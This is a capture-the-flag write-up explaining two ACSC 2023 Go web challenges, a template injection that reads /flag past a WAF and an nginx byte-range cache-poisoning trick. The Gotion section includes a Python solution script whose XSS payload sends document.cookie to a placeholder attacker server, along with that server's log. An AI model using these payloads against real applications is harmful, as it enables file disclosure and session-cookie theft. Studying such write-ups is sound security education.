ACSC 2023 Quals (I): Gotion and easySSTI
Hacking Golang webapps with template injection & cache poisoning
Asian Cyber Security Challenge (ACSC) is an annual CTF where players are competing individually, and the best young Asians will be selected form a team to represent Asia to compete with others. I ended up winning the competition among 450+ players. Unfortunately, I am unable to qualify because of the age and nationality conditions.
In this blog post, I will cover two web challenges, @t0nk42’s easySSTI (43 solves) and @tyage’s Gotion (9 solves).
easySSTI⌗
Challenge Summary⌗
We are given a web app written with the Echo framework in Golang, which renders the content given a template string in the Template
header. For instance, setting the Template
header by {{ .Request.RemoteAddr }}
would show 172.0.0.1:31337
.
However, the application is served behind a firewall (WAF) that drops all the HTTP responses containing the flag format (i.e., ACSC{.*}
).
The goal is to read the flag.
Solution⌗
Part I: Understanding the challenge⌗
To start with, we may want to understand why {{ .Request.RemoteAddr }}
prints the IP address. The below code snippet is the handleIndex
function, which handles GET /
. I commented the function for ease of reading.
func handleIndex(c echo.Context) error {
// Reads the template. This either comes from the "Template" header user
// supplied, or a default value otherwise. The value is defined by a
// middleware which is not included here.
tmpl, ok := c.Get("template").([]byte)
if !ok {
return fmt.Errorf("failed to get template")
}
tmplStr := string(tmpl)
// The `Parse` function converts a string into a template.Template instance.
// Reference: https://pkg.go.dev/html/template#Template.Parse
t, err := template.New("page").Parse(tmplStr)
if err != nil {
return c.String(http.StatusInternalServerError, err.Error())
}
buf := new(bytes.Buffer)
// The `Execute` function applies the given template to the data object
// (which is `c` in our case) and sets the results to `buf`.
// Reference: https://pkg.go.dev/html/template#Template.Execute
if err := t.Execute(buf, c); err != nil {
return c.String(http.StatusInternalServerError, err.Error())
}
return c.HTML(http.StatusOK, buf.String())
}
Here c
is an echo.Context
, which is an interface with several methods. In the example, it uses the Request()
method which returns a pointer of a http.Request
. It has a field called RemoteAddr
.
In our example, we can imagine that {{ .Request.RemoteAddr }}
behaves the same as evaluating c.Request().RemoteAddr
and printing the results.
Part II: An invalid trivial solution⌗
There is a File
function from echo.Context
that allows us to read an arbitrary file. For instance, we can access the content of /etc/passwd
with the template being {{ .File "/etc/passwd" }}
:
Of course, we cannot read /flag
because it is blocked by the firewall:
Unfortunately, the File
function does not return the file content as a string. The content is instead served directly (see lines 11-13 and 24-49 of context_fs.go
). Thus we cannot manipulate the output via variables (or pipelines) like below:
Part III: Embedding, or Golang’s inheritance1⌗
We can get an instance of the echo.Echo
struct by accessing {{ .Echo }}
. Note that it embeds two structs, echo.filesystem
and echo.common
. Therefore we have access to their methods and attributes. In particular, we have the Filesystem
instance (which is a fs.FS
). Now we can open a file with the Open
method provided:
The {0xc0001a1bc0}
returned is actually a fs.File
, which has a Read
function. The signature of the function is Read([]byte) (int, error)
, and we need to give it an []byte
to overwrite. Fortunately, the template itself is a []byte
, and we can access it with {{ .Get "template" }}
.
Chaining it together, we can read the flag – ACSC{h0w_did_y0u_leak_me}
:
There are four actions in the above template:
{{ $y := .Get "template" }}
reads the template and assigns it to$y
,{{ $x := .Echo.FileSystem.Open "/flag" }}
opens/flag
and assigns the instance offs.File
to$x
,{{ $z := $x.Read $y }}
reads the content of/flag
and writes to$y
, and{{ $y }}
prints the value of$y
, where the flag is overwritten.
$z := $x.Read $y
? Here $z :=
is used to surpress the return value of Read($y)
to be printed. In this case, it would be an integer.
Gotion⌗
Challenge Summary⌗
We are given another web app written in Golang implementing a note system. We are allowed to create and update notes. The content (including both the title and the body) will be handled by the html/template
package to avoid injections like XSS. Additionally, the web app is served behind nginx with a smart caching feature, which caches .mp4
files.
The goal is to create a XSS to steal the admin’s cookie.
Solution⌗
Part I: Sussy nginx configuration⌗
The configuration of nginx is given to us:
proxy_cache_path /tmp/nginx keys_zone=mycache:10m;
server {
listen 80;
location ~ .mp4$ {
# Smart and Efficient Byte-Range Caching with NGINX
# https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
proxy_cache mycache;
slice 4096; # Maybe it should be bigger?
proxy_cache_key $host$uri$is_args$args$slice_range;
# $is_args = '?' if there are arguments, and $is_args = '' otherwise
# $args are the GET parameters, e.g. ?foo=bar
# $slice_range, for example, could be "bytes=0-4095"
proxy_set_header Range $slice_range;
proxy_http_version 1.1;
proxy_cache_valid 200 206 1h;
proxy_pass http://app:3000;
}
location / {
proxy_pass http://app:3000;
}
}
When I read the configuration file, .mp4$
has caught my attention. From the use of $
, it is supposed to be a regular expression. In that case .
would be a wildcard. Thus, paths ending with [WHATEVER]mp4
(instead of .mp4
) would be cached.
We can create a note titled mp4
(the path generated would be /notes/[UUID]-mp4
) to verify the caching behaviour. For instance, we can see that a cache file is created under /tmp/nginx
, with cache key being localhost/notes/[UUID]-mp4bytes=0-4095
:
If we create a large enough note (for instance, if we set the body to be 1024 &
s, then the response would end up ~13 kB). In that case, the response will be cached into four parts: $[0, 4096)$, $[4096, 8192)$, $[8192, 12288)$ and $[12288, 16384)$.
In particular, we can selectively cache part of the HTTP response using the Range
header. For instance, we can only cache bytes $[4096, 8192)$ using
curl http://localhost:30080/notes/[UUID]-mp4 -H 'Range: bytes=4096-4096'
Part II: Caching the XSS payload⌗
html/template
sanitizes the user input properly. For example, <
would be replaced to <
. If we want to start a HTML tag (i.e., getting a <
), we have to use the one existed in the template.
The below HTML snippet is the first 4096 bytes if we set the title to be mp4
and the body to be &&&...&>
(622 &
’s). In particular, the last byte is a <
:
<!DOCTYPE html>
<html lang="en">
<head>
[...SNIPPED...]
</head>
<body>
<div class="container">
<div class="card mt-5">
<div class="card-body">
<h4 class="card-title">mp4</h4>
<pre>&&& [...SNIPPED...] &&&><
On the other hand, if we set the body to
&&&...&img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=x
The bytes in $[4096, 8192)$ in the HTTP response would be
img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=x </pre>
</div>
</div>
<div>
<button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#editNote">
Edit
</button>
<form action="/report" method="POST" id="report">
<input type="hidden" name="path" value="notes/[UUID]-mp4">
<button class="g-recaptcha btn btn-link" data-sitekey="" data-callback="onReport"
data-action="submit">Report</button>
</form>
</div>
[...SNIPPED...]
If we concatenate the responses, we can see that there is an image tag in between:
<img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=x </pre>
The image tag would be rendered if we cache the two responses individually. Now we can report it to the admins and get their cookies stolen:
ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}
Solution script⌗
import requests
# HOST = 'http://gotion-2.chal.ctf.acsc.asia:30080'
HOST = 'http://localhost:30080'
# Now the 4096th byte is a "<"
# Setting allow_redirects=False to avoid reading the note after it is created.
# This is to prevent the HTTP response getting cached.
r = requests.post(f'{HOST}/new-note', data={
'title': 'mp4',
'body': b'&'*622 + b'>'
}, allow_redirects=False)
note_url = r.headers.get('location')
note_id = note_url.split('/')[-1]
r = requests.get(f'{HOST}{note_url}', headers={
'range': 'bytes=0-0'
})
# Now the first cache ends with a '<'
r = requests.post(f'{HOST}/update-note', data={
'noteId': note_id,
'title': 'mp4',
'body': b'&'*623 + b'img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=http://MY_SECRET_SERVER:4444/1 '
}, allow_redirects=False)
r = requests.get(f'{HOST}{note_url}', headers={
'range': 'bytes=4096-4096'
})
# ...and the second cache starts with 'img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=http://MY_SECRET_SERVER:4444/1 </pre>'
# report this link to the server!
print(note_url[1:])
# ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}
'''
# Logs from MY_SECRET_SERVER:4444
35.194.228.105 - - [25/Feb/2023 22:08:56] code 404, message File not found
35.194.228.105 - - [25/Feb/2023 22:08:56] "GET /1 HTTP/1.1" 404 -
35.194.228.105 - - [25/Feb/2023 22:08:56] code 404, message File not found
35.194.228.105 - - [25/Feb/2023 22:08:56] "GET /2?FLAG=ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus} HTTP/1.1" 404 -
'''
-
Mark McGranaghan and Eli Bendersky (2022) “Go by Example: Struct Embedding”
https://gobyexample.com/struct-embedding ↩︎